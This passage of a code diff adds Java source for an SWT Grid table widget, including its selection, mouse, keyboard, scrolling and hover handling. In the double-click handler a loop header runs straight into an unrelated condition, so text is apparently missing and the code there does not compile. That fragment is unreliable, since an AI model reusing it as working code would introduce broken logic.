} + else + { + max = anchorIndex - 1; + } + min = itemIndex; + } + + for (int i = min; i <= max; i++) + { + if (!selectedItems.contains(items.get(i)) && ((GridItem)items.get(i)).isVisible()) + { + selectedItems.add((GridItem)items.get(i)); + } + } + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + selectionEvent = new Event(); + } + else if (ctrl) + { + if (selectedItems.contains(item)) + { + selectedItems.remove(item); + } + else + { + selectedItems.add(item); + } + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + shiftSelectionAnchorItem = null; + + selectionEvent = new Event(); + selectionEvent.item = item; + } + } + + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + return selectionEvent; + } + + /** + * Updates cell selection. + * + * @param newCell newly clicked, navigated to cell. + * @param stateMask statemask during preceeding mouse or key event. + * @param dragging true if the user is dragging. + * @param reverseDuplicateSelections true if the user is reversing selection rather than adding to. + * + * @return selection event that will need to be fired or null. + */ + private Event updateCellSelection(Point newCell, int stateMask, boolean dragging, boolean reverseDuplicateSelections) + { + Vector v = new Vector(); + v.add(newCell); + return updateCellSelection(v, stateMask, dragging, reverseDuplicateSelections); + } + + /** + * Updates cell selection. + * + * @param newCell newly clicked, navigated to cells. + * @param stateMask statemask during preceeding mouse or key event. + * @param dragging true if the user is dragging. + * @param reverseDuplicateSelections true if the user is reversing selection rather than adding to. + * + * @return selection event that will need to be fired or null. + */ + private Event updateCellSelection(Vector newCells, int stateMask, boolean dragging, boolean reverseDuplicateSelections) + { + boolean shift = false; + boolean ctrl = false; + + if ((stateMask & SWT.MOD2) == SWT.MOD2) + { + shift = true; + } + else + { + shiftSelectionAnchorColumn = null; + shiftSelectionAnchorItem = null; + } + + if ((stateMask & SWT.MOD1) == SWT.MOD1) + { + ctrl = true; + } + + if (!shift && !ctrl) + { + if (newCells.equals(selectedCells)) return null; + + selectedCells.clear(); + for (int i = 0; i < newCells.size(); i++) + { + addToCellSelection((Point)newCells.get(i)); + } + + } + else if (shift) + { + + Point newCell = (Point)newCells.get(0); //shift selection should only occur with one + //cell, ignoring others + + if ((focusColumn == null) || (focusItem == null)) + { + return null; + } + + shiftSelectionAnchorColumn = getColumn(newCell.x); + shiftSelectionAnchorItem = getItem(newCell.y); + + if (ctrl) + { + selectedCells.clear(); + selectedCells.addAll(selectedCellsBeforeRangeSelect); + } + else + { + selectedCells.clear(); + } + + + + + GridColumn currentColumn = focusColumn; + GridItem currentItem = focusItem; + + GridColumn endColumn = getColumn(newCell.x); + GridItem endItem = getItem(newCell.y); + + Point newRange = getSelectionRange(currentItem,currentColumn,endItem,endColumn); + + currentColumn = getColumn(newRange.x); + endColumn = getColumn(newRange.y); + + GridColumn startCol = currentColumn; + + if (indexOf(currentItem) > indexOf(endItem)) + { + GridItem temp = currentItem; + currentItem = endItem; + endItem = temp; + } + + boolean firstLoop = true; + + do + { + if (!firstLoop) + { + currentItem = getNextVisibleItem(currentItem); + } + + firstLoop = false; + + boolean firstLoop2 = true; + + currentColumn = startCol; + + do + { + if (!firstLoop2) + { + int index = displayOrderedColumns.indexOf(currentColumn) + 1; + + if (index < displayOrderedColumns.size()) + { + currentColumn = getVisibleColumn_DegradeRight(currentItem,(GridColumn)displayOrderedColumns.get(index)); + } + else + { + currentColumn = null; + } + + if (currentColumn!= null) + if (displayOrderedColumns.indexOf(currentColumn) > displayOrderedColumns.indexOf(endColumn)) + currentColumn = null; + } + + firstLoop2 = false; + + if (currentColumn != null) + { + Point cell = new Point(indexOf(currentColumn),indexOf(currentItem)); + addToCellSelection(cell); + } + } while (currentColumn != endColumn && currentColumn != null); + } while (currentItem != endItem); + } + else if (ctrl) + { + boolean reverse = reverseDuplicateSelections; + if (!selectedCells.containsAll(newCells)) + reverse = false; + + if (dragging) + { + selectedCells.clear(); + selectedCells.addAll(selectedCellsBeforeRangeSelect); + } + + if (reverse) + { + selectedCells.removeAll(newCells); + } + else + { + for (int i = 0; i < newCells.size(); i++) + { + addToCellSelection((Point)newCells.get(i)); + } + } + } + + updateColumnSelection(); + + Event e = new Event(); + if (dragging) + { + e.detail = SWT.DRAG; + followupCellSelectionEventOwed = true; + } + + Rectangle clientArea = getClientArea(); + redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); + + return e; + } + + private void addToCellSelection(Point newCell) + { + if (newCell.x < 0 || newCell.x >= columns.size()) + return; + + if (newCell.y < 0 || newCell.y >= items.size()) + return; + + if (getColumn(newCell.x).getCellSelectionEnabled()) + { + Iterator it = selectedCells.iterator(); + boolean found = false; + while( it.hasNext() ) { + Point p = (Point) it.next(); + if( newCell.equals(p) ) { + found = true; + break; + } + } + + if( ! found ) { + selectedCells.add(newCell); + } + } + } + + void updateColumnSelection() + { + //Update the list of which columns have all their cells selected + selectedColumns.clear(); + + for (Iterator iter = selectedCells.iterator(); iter.hasNext();) + { + Point cell = (Point)iter.next(); + + GridColumn col = getColumn(cell.x); + + selectedColumns.add(col); + } + } + + /** + * Initialize all listeners. + */ + private void initListeners() + { + disposeListener = new Listener() + { + public void handleEvent(Event e) + { + onDispose(e); + } + }; + addListener(SWT.Dispose,disposeListener); + + addPaintListener(new PaintListener() + { + public void paintControl(PaintEvent e) + { + onPaint(e); + } + }); + + addListener(SWT.Resize, new Listener() + { + public void handleEvent(Event e) + { + onResize(); + } + }); + + if (getVerticalBar() != null) + { + getVerticalBar().addListener(SWT.Selection, new Listener() + { + public void handleEvent(Event e) + { + onScrollSelection(); + } + }); + } + + if (getHorizontalBar() != null) + { + getHorizontalBar().addListener(SWT.Selection, new Listener() + { + public void handleEvent(Event e) + { + onScrollSelection(); + } + }); + } + + addListener(SWT.KeyDown, new Listener() + { + public void handleEvent(Event e) + { + onKeyDown(e); + } + }); + + addTraverseListener(new TraverseListener() + { + public void keyTraversed(TraverseEvent e) + { + e.doit = true; + } + }); + + addMouseListener(new MouseListener() + { + public void mouseDoubleClick(MouseEvent e) + { + onMouseDoubleClick(e); + } + + public void mouseDown(MouseEvent e) + { + onMouseDown(e); + } + + public void mouseUp(MouseEvent e) + { + onMouseUp(e); + } + }); + + addMouseMoveListener(new MouseMoveListener() + { + public void mouseMove(MouseEvent e) + { + onMouseMove(e); + } + }); + + addMouseTrackListener(new MouseTrackListener() + { + public void mouseEnter(MouseEvent e) + { + } + + public void mouseExit(MouseEvent e) + { + onMouseExit(e); + } + + public void mouseHover(MouseEvent e) + { + } + }); + + addFocusListener(new FocusListener() + { + public void focusGained(FocusEvent e) + { + onFocusIn(); + redraw(); + } + + public void focusLost(FocusEvent e) + { + redraw(); + } + }); + + // Special code to reflect mouse wheel events if using an external + // scroller + addListener(SWT.MouseWheel, new Listener() + { + public void handleEvent(Event e) + { + onMouseWheel(e); + } + }); + } + + private void onFocusIn() + { + if (!items.isEmpty() && focusItem == null) + { + focusItem = (GridItem) items.get(0); + } + } + + private void onDispose(Event event) + { + //We only want to dispose of our items and such *after* anybody else who may have been + //listening to the dispose has had a chance to do whatever. + removeListener(SWT.Dispose, disposeListener); + notifyListeners(SWT.Dispose, event); + event.type = SWT.None; + + disposing = true; + + cellHeaderSelectionBackground.dispose(); + + for (Iterator iterator = items.iterator(); iterator.hasNext();) + { + GridItem item = (GridItem)iterator.next(); + item.dispose(); + } + + for (int i = 0; i < columnGroups.length; i++) + { + columnGroups[i].dispose(); + } + + for (Iterator iterator = columns.iterator(); iterator.hasNext();) + { + GridColumn col = (GridColumn)iterator.next(); + col.dispose(); + } + + sizingGC.dispose(); + } + + /** + * Mouse wheel event handler. + * + * @param e event + */ + private void onMouseWheel(Event e) + { + if (vScroll.getVisible()) + { + vScroll.handleMouseWheel(e); + if (getVerticalBar() == null) + e.doit = false; + } + else if (hScroll.getVisible()) + { + hScroll.handleMouseWheel(e); + if (getHorizontalBar() == null) + e.doit = false; + } + } + + /** + * Mouse down event handler. + * + * @param e event + */ + private void onMouseDown(MouseEvent e) + { + // for some reason, SWT prefers the children to get focus if + // there are any children + // the setFocus method on Composite will not set focus to the + // Composite if one of its + // children can get focus instead. This only affects the table + // when an editor is open + // and therefore the table has a child. The solution is to + // forceFocus() + if ((getStyle() & SWT.NO_FOCUS) != SWT.NO_FOCUS) + { + forceFocus(); + } + + hideToolTip(); + + //if populated will be fired at end of method. + Event selectionEvent = null; + + cellSelectedOnLastMouseDown = false; + cellRowSelectedOnLastMouseDown = false; + cellColumnSelectedOnLastMouseDown = false; + + if (hoveringOnColumnResizer) + { + if (e.button == 1) + { + resizingColumn = true; + resizingStartX = e.x; + resizingColumnStartWidth = columnBeingResized.getWidth(); + } + return; + } + if (rowsResizeable && hoveringOnRowResizer) + { + if (e.button == 1) + { + resizingRow = true; + resizingStartY = e.y; + resizingRowStartHeight = rowBeingResized.getHeight(); + } + return; + } + + + if (e.button == 1 && handleColumnHeaderPush(e.x, e.y)) + { + return; + } + + if (e.button == 1 && handleColumnGroupHeaderClick(e.x, e.y)) + { + return; + } + + if(e.button == 1 && handleColumnFooterPush(e.x,e.y)) { + return; + } + + GridItem item = getItem(new Point(e.x, e.y)); + + if (e.button == 1 && item != null && handleCellClick(item,e.x, e.y)) + { + return; + } + + if (isListening(SWT.DragDetect)) + { + if ((cellSelectionEnabled && hoveringOnSelectionDragArea) || + (!cellSelectionEnabled && item != null && selectedItems.contains(item))) + { + if(dragDetect(e)) + { + return; + } + } + } + + if (item != null) + { + if (cellSelectionEnabled) + { + GridColumn col = getColumn(new Point(e.x, e.y)); + boolean isSelectedCell = false; + if (col != null) + isSelectedCell = selectedCells.contains(new Point(indexOf(col),indexOf(item))); + + if (e.button == 1 || (e.button == 3 && col != null && !isSelectedCell)) + { + if (col != null) + { + selectionEvent = updateCellSelection(new Point(indexOf(col),indexOf(item)), e.stateMask, false, true); + cellSelectedOnLastMouseDown = (getCellSelectionCount() > 0); + + if (e.stateMask != SWT.MOD2) + { + focusColumn = col; + focusItem = item; + } + //showColumn(col); + showItem(item); + redraw(); + } + else if (rowHeaderVisible) + { + if (e.x <= rowHeaderWidth) + { + + boolean shift = ((e.stateMask & SWT.MOD2) != 0); + boolean ctrl = false; + if (!shift) + { + ctrl = ((e.stateMask & SWT.MOD1) != 0); + } + + Vector cells = new Vector(); + + if (shift) + { + getCells(item,focusItem,cells); + } + else + { + getCells(item,cells); + } + + int newStateMask = SWT.NONE; + if (ctrl) newStateMask = SWT.MOD1; + + selectionEvent = updateCellSelection(cells, newStateMask, shift, ctrl); + cellRowSelectedOnLastMouseDown = (getCellSelectionCount() > 0); + + if (!shift) + { + //set focus back to the first visible column + focusColumn = getColumn(new Point(rowHeaderWidth + 1,e.y)); + + focusItem = item; + } + showItem(item); + redraw(); + } + } + intendedFocusColumn = focusColumn; + } + } + else + { + if (e.button == 2 || e.button > 3) + { + return; + } + + if (e.button == 3 && selectionType == SWT.MULTI) + { + if ((e.stateMask & SWT.MOD2) == SWT.MOD2) + { + return; + } + + if ((e.stateMask & SWT.MOD1) == SWT.MOD1) + { + return; + } + + if (selectedItems.contains(item)) + { + return; + } + } + selectionEvent = updateSelection(item, e.stateMask); + + + focusItem = item; + showItem(item); + redraw(); + } + } + else if (e.button == 1 && rowHeaderVisible && e.x <= rowHeaderWidth && e.y < headerHeight) + { + // Nothing to select + if(items.size() == 0) { + return; + } + if (cellSelectionEnabled) + { + //click on the top left corner means select everything + selectionEvent = selectAllCellsInternal(); + + focusColumn = getColumn(new Point(rowHeaderWidth + 1,1)); + } + else + { + //click on the top left corner means select everything + selectionEvent = selectAllRowsInternal(); + } + focusItem = getItem(getTopIndex()); + } + else if (cellSelectionEnabled && e.button == 1 && columnHeadersVisible && e.y <= headerHeight) + { + //column cell selection + GridColumn col = getColumn(new Point(e.x,e.y)); + + if (col == null) return; + + if (getItemCount() == 0) + return; + + Vector cells = new Vector(); + + GridColumnGroup group = col.getColumnGroup(); + if (group != null && e.y < groupHeaderHeight) { + getCells(group, cells); + } else { + getCells(col, cells); + } + + selectionEvent = updateCellSelection(cells, e.stateMask, false, true); + cellColumnSelectedOnLastMouseDown = (getCellSelectionCount() > 0); + + GridItem newFocusItem = getItem(0); + + while (newFocusItem != null && getSpanningColumn(newFocusItem, col) != null) + { + newFocusItem = getNextVisibleItem(newFocusItem); + } + + if (newFocusItem != null) + { + focusColumn = col; + focusItem = newFocusItem; + } + + showColumn(col); + redraw(); + } + + if (selectionEvent != null) + { + selectionEvent.stateMask = e.stateMask; + selectionEvent.button = e.button; + selectionEvent.item = item; + selectionEvent.x = e.x; + selectionEvent.y = e.y; + notifyListeners(SWT.Selection, selectionEvent); + + if (!cellSelectionEnabled) + { + if (isListening(SWT.DragDetect)) + { + dragDetect(e); + } + } + } + + + } + + /** + * Mouse double click event handler. + * + * @param e event + */ + private void onMouseDoubleClick(MouseEvent e) + { + if (e.button == 1) + { + + if (hoveringOnColumnResizer) + { + columnBeingResized.pack(); + columnBeingResized.fireResized(); + for (int index = displayOrderedColumns.indexOf(columnBeingResized) + 1; index < displayOrderedColumns.size(); index ++) + { + GridColumn col = (GridColumn)displayOrderedColumns.get(index); + if (col.isVisible()) col.fireMoved(); + } + resizingColumn = false; + handleHoverOnColumnResizer(e.x, e.y); + return; + } + else if (rowsResizeable && hoveringOnRowResizer) { + List sel = Arrays.asList(getSelection()); + if(sel.contains(rowBeingResized)) + { + // the user double-clicked a row resizer of a selected row + // so update all selected rows + for(int cnt=0;cnt 0) + { + item.setExpanded(!item.isExpanded()); + + if (item.isExpanded()) + { + item.fireEvent(SWT.Expand); + } + else + { + item.fireEvent(SWT.Collapse); + } + } + } + } + } + + /** + * Mouse up handler. + * + * @param e event + */ + private void onMouseUp(MouseEvent e) + { + cellSelectedOnLastMouseDown = false; + + if (resizingColumn) + { + resizingColumn = false; + handleHoverOnColumnResizer(e.x, e.y); // resets cursor if + // necessary + return; + } + if (resizingRow) + { + resizingRow = false; + handleHoverOnRowResizer(e.x, e.y); // resets cursor if + // necessary + return; + } + + if (pushingColumn) + { + pushingColumn = false; + columnBeingPushed.getHeaderRenderer().setMouseDown(false); + columnBeingPushed.getHeaderRenderer().setHover(false); + redraw(); + if (pushingAndHovering) + { + columnBeingPushed.fireListeners(); + } + setCapture(false); + return; + } + + if (draggingColumn) + { + handleColumnDrop(); + return; + } + + if (cellDragSelectionOccuring || cellRowDragSelectionOccuring || cellColumnDragSelectionOccuring) + { + cellDragSelectionOccuring = false; + cellRowDragSelectionOccuring = false; + cellColumnDragSelectionOccuring = false; + setCursor(null); + + if (followupCellSelectionEventOwed) + { + Event se = new Event(); + se.button = e.button; + se.item = getItem(new Point(e.x, e.y)); + se.stateMask = e.stateMask; + se.x = e.x; + se.y = e.y; + + notifyListeners(SWT.Selection, se); + followupCellSelectionEventOwed = false; + } + } + } + + /** + * Mouse move event handler. + * + * @param e event + */ + private void onMouseMove(MouseEvent e) + { + //check to see if the mouse is outside the grid + //this should only happen when the mouse is captured for inplace + //tooltips - see bug 203364 + if (inplaceTooltipCapture && (e.x < 0 || e.y < 0 || e.x >= getBounds().width || e.y >= getBounds().height)) + { + setCapture(false); + inplaceTooltipCapture = false; + return; //a mouseexit event should occur immediately + } + + + //if populated will be fired at end of method. + Event selectionEvent = null; + + + if ((e.stateMask & SWT.BUTTON1) == 0) + { + handleHovering(e.x, e.y); + } + else + { + if (draggingColumn) + { + handleColumnDragging(e.x); + return; + } + + if (resizingColumn) + { + handleColumnResizerDragging(e.x); + return; + } + if (resizingRow) + { + handleRowResizerDragging(e.y); + return; + } + if (pushingColumn) + { + handleColumnHeaderHoverWhilePushing(e.x, e.y); + return; + } + if (cellSelectionEnabled) + { + if (!cellDragSelectionOccuring && cellSelectedOnLastMouseDown) + { + cellDragSelectionOccuring = true; + //XXX: make this user definable + setCursor(getDisplay().getSystemCursor(SWT.CURSOR_CROSS)); + cellDragCTRL = ((e.stateMask & SWT.MOD1) != 0); + if (cellDragCTRL) + { + selectedCellsBeforeRangeSelect.clear(); + selectedCellsBeforeRangeSelect.addAll(selectedCells); + } + } + if (!cellRowDragSelectionOccuring && cellRowSelectedOnLastMouseDown) + { + cellRowDragSelectionOccuring = true; + setCursor(getDisplay().getSystemCursor(SWT.CURSOR_CROSS)); + cellDragCTRL = ((e.stateMask & SWT.MOD1) != 0); + if (cellDragCTRL) + { + selectedCellsBeforeRangeSelect.clear(); + selectedCellsBeforeRangeSelect.addAll(selectedCells); + } + } + + if (!cellColumnDragSelectionOccuring && cellColumnSelectedOnLastMouseDown) + { + cellColumnDragSelectionOccuring = true; + setCursor(getDisplay().getSystemCursor(SWT.CURSOR_CROSS)); + cellDragCTRL = ((e.stateMask & SWT.MOD1) != 0); + if (cellDragCTRL) + { + selectedCellsBeforeRangeSelect.clear(); + selectedCellsBeforeRangeSelect.addAll(selectedCells); + } + } + + int ctrlFlag = (cellDragCTRL ? SWT.MOD1 : SWT.NONE); + + if (cellDragSelectionOccuring && handleCellHover(e.x, e.y)) + { + GridColumn intentColumn = hoveringColumn; + GridItem intentItem = hoveringItem; + + if (hoveringItem == null) + { + if (e.y > headerHeight) + { + //then we must be hovering way to the bottom + intentItem = getPreviousVisibleItem(null); + } + else + { + intentItem = (GridItem)items.get(0); + } + } + + + if (hoveringColumn == null) + { + if (e.x > rowHeaderWidth) + { + //then we must be hovering way to the right + intentColumn = getVisibleColumn_DegradeLeft(intentItem,(GridColumn)displayOrderedColumns.get(displayOrderedColumns.size() - 1)); + } + else + { + GridColumn firstCol = (GridColumn)displayOrderedColumns.get(0); + if (!firstCol.isVisible()) + { + firstCol = getNextVisibleColumn(firstCol); + } + intentColumn = firstCol; + } + } + + showColumn(intentColumn); + showItem(intentItem); + selectionEvent = updateCellSelection(new Point(indexOf(intentColumn),indexOf(intentItem)),ctrlFlag | SWT.MOD2, true, false); + } + if (cellRowDragSelectionOccuring && handleCellHover(e.x, e.y)) + { + GridItem intentItem = hoveringItem; + + if (hoveringItem == null) + { + if (e.y > headerHeight) + { + //then we must be hovering way to the bottom + intentItem = getPreviousVisibleItem(null); + } + else + { + if (getTopIndex() > 0) + { + intentItem = getPreviousVisibleItem((GridItem)items.get(getTopIndex())); + } + else + { + intentItem = (GridItem)items.get(0); + } + } + } + + Vector cells = new Vector(); + + getCells(intentItem,focusItem,cells); + + showItem(intentItem); + selectionEvent = updateCellSelection(cells,ctrlFlag, true, false); + } + if (cellColumnDragSelectionOccuring && handleCellHover(e.x, e.y)) + { + GridColumn intentCol = hoveringColumn; + + if (intentCol == null) + { + if (e.y < rowHeaderWidth) + { + //TODO: get the first col to the left + } + else + { + //TODO: get the first col to the right + } + } + + if (intentCol == null) return; //temporary + + GridColumn iterCol = intentCol; + + Vector newSelected = new Vector(); + + boolean decreasing = (displayOrderedColumns.indexOf(iterCol) > displayOrderedColumns.indexOf(focusColumn)); + + do + { + getCells(iterCol, newSelected); + + if (iterCol == focusColumn) + { + break; + } + + if (decreasing) + { + iterCol = getPreviousVisibleColumn(iterCol); + } + else + { + iterCol = getNextVisibleColumn(iterCol); + } + + } while (true); + + selectionEvent = updateCellSelection(newSelected, ctrlFlag, true, false); + } + + } + } + + if (selectionEvent != null) + { + selectionEvent.stateMask = e.stateMask; + selectionEvent.button = e.button; + selectionEvent.item = getItem(new Point(e.x, e.y)); + selectionEvent.x = e.x; + selectionEvent.y = e.y; + notifyListeners(SWT.Selection, selectionEvent); + } + } + + /** + * Handles the assignment of the correct values to the hover* field + * variables that let the painting code now what to paint as hovered. + * + * @param x mouse x coordinate + * @param y mouse y coordinate + */ + private void handleHovering(int x, int y) + { + // TODO: need to clean up and refactor hover code + handleCellHover(x, y); + + // Is this Grid a DragSource ?? + if (cellSelectionEnabled && getData("DragSource") != null) { + if (handleHoverOnSelectionDragArea(x, y)) + { + return; + } + } + + if (columnHeadersVisible) + { + if (handleHoverOnColumnResizer(x, y)) + { +// if (hoveringItem != null || !hoveringDetail.equals("") || hoveringColumn != null +// || hoveringColumnHeader != null || hoverColumnGroupHeader != null) +// { +// hoveringItem = null; +// hoveringDetail = ""; +// hoveringColumn = null; +// hoveringColumnHeader = null; +// hoverColumnGroupHeader = null; +// +// Rectangle clientArea = getClientArea(); +// redraw(clientArea.x,clientArea.y,clientArea.width,clientArea.height,false); +// } + return; + } + } + if (rowsResizeable && rowHeaderVisible) + { + if (handleHoverOnRowResizer(x, y)) + { + return; + } + } + + // handleCellHover(x, y); + } + + /** + * Refreshes the hover* variables according to the mouse location and + * current state of the table. This is useful is some method call, caused + * the state of the table to change and therefore the hover effects may have + * become out of date. + */ + protected void refreshHoverState() + { + Point p = getDisplay().map(null, this, getDisplay().getCursorLocation()); + handleHovering(p.x, p.y); + } + + /** + * Mouse exit event handler. + * + * @param e event + */ + private void onMouseExit(MouseEvent e) + { + hoveringItem = null; + hoveringDetail = ""; + hoveringColumn = null; + hoveringOverText = false; + hideToolTip(); + redraw(); + } + + /** + * Key down event handler. + * + * @param e event + */ + private void onKeyDown(Event e) + { + if (focusColumn == null || focusColumn.isDisposed()) + { + if (columns.size() == 0) + return; + + focusColumn = getColumn(0); + intendedFocusColumn = focusColumn; + } + + if (e.character == '\r' && focusItem != null) + { + Event newEvent = new Event(); + newEvent.item = focusItem; + + notifyListeners(SWT.DefaultSelection, newEvent); + return; + } + + int attemptExpandCollapse = 0; + if ((e.character == '-' || (!cellSelectionEnabled && e.keyCode == SWT.ARROW_LEFT)) && focusItem != null && focusItem.isExpanded()) + { + attemptExpandCollapse = SWT.Collapse; + } + else if ((e.character == '+' || (!cellSelectionEnabled && e.keyCode == SWT.ARROW_RIGHT)) && focusItem != null && !focusItem.isExpanded()) + { + attemptExpandCollapse = SWT.Expand; + } + + if (attemptExpandCollapse != 0 && focusItem != null && focusItem.hasChildren()) + { + int performExpandCollapse = 0; + + if (cellSelectionEnabled && focusColumn != null && focusColumn.isTree()) + { + performExpandCollapse = attemptExpandCollapse; + } + else if (!cellSelectionEnabled) + { + performExpandCollapse = attemptExpandCollapse; + } + + if (performExpandCollapse == SWT.Expand) + { + focusItem.setExpanded(true); + focusItem.fireEvent(SWT.Expand); + return; + } + if (performExpandCollapse == SWT.Collapse) + { + focusItem.setExpanded(false); + focusItem.fireEvent(SWT.Collapse); + return; + } + } + + if (e.character == ' ') + { + handleSpaceBarDown(e); + } + + + GridItem newSelection = null; + GridColumn newColumnFocus = null; + + //These two variables are used because the key navigation when the shift key is down is + //based, not off the focus item/column, but rather off the implied focus (i.e. where the + //keyboard has extended focus to). + GridItem impliedFocusItem = focusItem; + GridColumn impliedFocusColumn = focusColumn; + + if (cellSelectionEnabled && e.stateMask == SWT.MOD2) + { + if (shiftSelectionAnchorColumn != null) + { + impliedFocusItem = shiftSelectionAnchorItem; + impliedFocusColumn = shiftSelectionAnchorColumn; + } + } + + switch (e.keyCode) + { + case SWT.ARROW_RIGHT : + if (cellSelectionEnabled) + { + if (impliedFocusItem != null && impliedFocusColumn != null) + { + newSelection = impliedFocusItem; + + int index = displayOrderedColumns.indexOf(impliedFocusColumn); + + int jumpAhead = impliedFocusItem.getColumnSpan(indexOf(impliedFocusColumn)); + + jumpAhead ++; + + while (jumpAhead > 0) + { + index ++; + if (index < displayOrderedColumns.size()) + { + if (((GridColumn)displayOrderedColumns.get(index)).isVisible()) + jumpAhead --; + } + else + { + break; + } + } + + if (index < displayOrderedColumns.size()) + { + newColumnFocus = (GridColumn)displayOrderedColumns.get(index); + } + else + { + newColumnFocus = impliedFocusColumn; + } + } + intendedFocusColumn = newColumnFocus; + } + else + { + if (impliedFocusItem != null && impliedFocusItem.hasChildren()) + { + newSelection = impliedFocusItem.getItem(0); + } + } + break; + case SWT.ARROW_LEFT : + if (cellSelectionEnabled) + { + if (impliedFocusItem != null && impliedFocusColumn != null) + { + newSelection = impliedFocusItem; + + int index = displayOrderedColumns.indexOf(impliedFocusColumn); + + if (index != 0) + { + newColumnFocus = (GridColumn)displayOrderedColumns.get(index -1); + + newColumnFocus = getVisibleColumn_DegradeLeft(impliedFocusItem, newColumnFocus); + } + else + { + newColumnFocus = impliedFocusColumn; + } + } + intendedFocusColumn = newColumnFocus; + } + else + { + if (impliedFocusItem != null && impliedFocusItem.getParentItem() != null) + { + newSelection = impliedFocusItem.getParentItem(); + } + } + break; + case SWT.ARROW_UP : + if (impliedFocusItem != null) + { + newSelection = getPreviousVisibleItem(impliedFocusItem); + } + + if (impliedFocusColumn != null) + { + if (newSelection != null) + { + newColumnFocus = getVisibleColumn_DegradeLeft(newSelection, intendedFocusColumn); + } + else + { + newColumnFocus = impliedFocusColumn; + } + } + + break; + case SWT.ARROW_DOWN : + if (impliedFocusItem != null) + { + newSelection = getNextVisibleItem(impliedFocusItem); + } + else + { + if (items.size() > 0) + { + newSelection = (GridItem)items.get(0); + } + } + + if (impliedFocusColumn != null) + { + if (newSelection != null) + { + newColumnFocus = getVisibleColumn_DegradeLeft(newSelection, intendedFocusColumn); + } + else + { + newColumnFocus = impliedFocusColumn; + } + } + break; + case SWT.HOME : + + if (!cellSelectionEnabled) + { + if (items.size() > 0) + { + newSelection = (GridItem)items.get(0); + } + } + else + { + newSelection = impliedFocusItem; + newColumnFocus = getVisibleColumn_DegradeRight(newSelection,(GridColumn)displayOrderedColumns.get(0)); + } + + break; + case SWT.END : + if (!cellSelectionEnabled) + { + if (items.size() > 0) + { + newSelection = getPreviousVisibleItem(null); + } + } + else + { + newSelection = impliedFocusItem; + newColumnFocus = getVisibleColumn_DegradeLeft(newSelection,(GridColumn)displayOrderedColumns.get(displayOrderedColumns.size() - 1)); + } + + break; + case SWT.PAGE_UP : + int topIndex = getTopIndex(); + + newSelection = (GridItem)items.get(topIndex); + + if (focusItem == newSelection) + { + RowRange range = getRowRange(getTopIndex(),getVisibleGridHeight(),false,true); + newSelection = (GridItem)items.get(range.startIndex); + } + + newColumnFocus = focusColumn; + break; + case SWT.PAGE_DOWN : + int bottomIndex = getBottomIndex(); + + newSelection = (GridItem)items.get(bottomIndex); + + if(!isShown(newSelection)) + { + // the item at bottom index is not shown completely + GridItem tmpItem = getPreviousVisibleItem(newSelection); + if(tmpItem!=null) + newSelection = tmpItem; + } + + if (focusItem == newSelection) + { + RowRange range = getRowRange(getBottomIndex(),getVisibleGridHeight(),true,false); + newSelection = (GridItem)items.get(range.endIndex); + } + + newColumnFocus = focusColumn; + break; + default : + break; + } + + if (newSelection == null) + { + return; + } + + if (cellSelectionEnabled) + { + if (e.stateMask != SWT.MOD2) + focusColumn = newColumnFocus; + showColumn(newColumnFocus); + + if (e.stateMask != SWT.MOD2) + focusItem = newSelection; + showItem(newSelection); + + if (e.stateMask != SWT.MOD1) + { + Event selEvent = updateCellSelection(new Point(indexOf(newColumnFocus),indexOf(newSelection)),e.stateMask, false, false); + if (selEvent != null) + { + selEvent.stateMask = e.stateMask; + selEvent.character = e.character; + selEvent.keyCode = e.keyCode; + notifyListeners(SWT.Selection, selEvent); + } + } + + redraw(); + } + else + { + Event selectionEvent = null; + if (selectionType == SWT.SINGLE || e.stateMask != SWT.MOD1) + { + selectionEvent = updateSelection(newSelection, e.stateMask); + if (selectionEvent != null) + { + selectionEvent.stateMask = e.stateMask; + selectionEvent.character = e.character; + selectionEvent.keyCode = e.keyCode; + } + } + + focusItem = newSelection; + showItem(newSelection); + redraw(); + + if (selectionEvent != null) + notifyListeners(SWT.Selection, selectionEvent); + } + } + + private void handleSpaceBarDown(Event event) + { + if (focusItem == null) + return; + + if (selectionEnabled && !cellSelectionEnabled && !selectedItems.contains(focusItem)) + { + selectedItems.add(focusItem); + redraw(); + Event e = new Event(); + e.item = focusItem; + e.stateMask = event.stateMask; + e.character = event.character; + e.keyCode = event.keyCode; + notifyListeners(SWT.Selection, e); + } + + if (!cellSelectionEnabled) + { + boolean checkFirstCol = false; + boolean first = true; + + for (Iterator iter = columns.iterator(); iter.hasNext();) + { + GridColumn col = (GridColumn)iter.next(); + + if (first) + { + if (!col.isCheck()) break; + + first = false; + checkFirstCol = true; + } + else + { + if (col.isCheck()) + { + checkFirstCol = false; + break; + } + } + } + + if (checkFirstCol) + { + focusItem.setChecked(!focusItem.getChecked()); + redraw(); + focusItem.fireCheckEvent(0); + } + } + } + + /** + * Resize event handler. + */ + private void onResize() + { + + //CGross 1/2/08 - I don't really want to be doing this.... + //I shouldn't be changing something you user configured... + //leaving out for now +// if (columnScrolling) +// { +// int maxWidth = getClientArea().width; +// if (rowHeaderVisible) +// maxWidth -= rowHeaderWidth; +// +// for (Iterator cols = columns.iterator(); cols.hasNext();) { +// GridColumn col = (GridColumn) cols.next(); +// if (col.getWidth() > maxWidth) +// col.setWidth(maxWidth); +// } +// } + + scrollValuesObsolete = true; + topIndex = -1; + bottomIndex = -1; + } + + /** + * Scrollbar selection event handler. + */ + private void onScrollSelection() + { + topIndex = -1; + bottomIndex = -1; + refreshHoverState(); + redraw(getClientArea().x, getClientArea().y, getClientArea().width, getClientArea().height, + false); + } + + /** + * Returns the intersection of the given column and given item. + * + * @param column column + * @param item item + * @return x,y of top left corner of the cell + */ + Point getOrigin(GridColumn column, GridItem item) + { + int x = 0; + + if (rowHeaderVisible) + { + x += rowHeaderWidth; + } + + x -= getHScrollSelectionInPixels(); + + for (Iterator colIterIterator = displayOrderedColumns.iterator(); colIterIterator.hasNext(); ) + { + GridColumn colIter = (GridColumn) colIterIterator.next(); + + if (colIter == column) + { + break; + } + + if (colIter.isVisible()) + { + x += colIter.getWidth(); + } + } + + int y = 0; + if (item != null) + { + if (columnHeadersVisible) + { + y += headerHeight; + } + + int currIndex=getTopIndex(); + int itemIndex=items.indexOf(item); + + if (itemIndex == -1) + { + SWT.error(SWT.ERROR_INVALID_ARGUMENT); + } + + 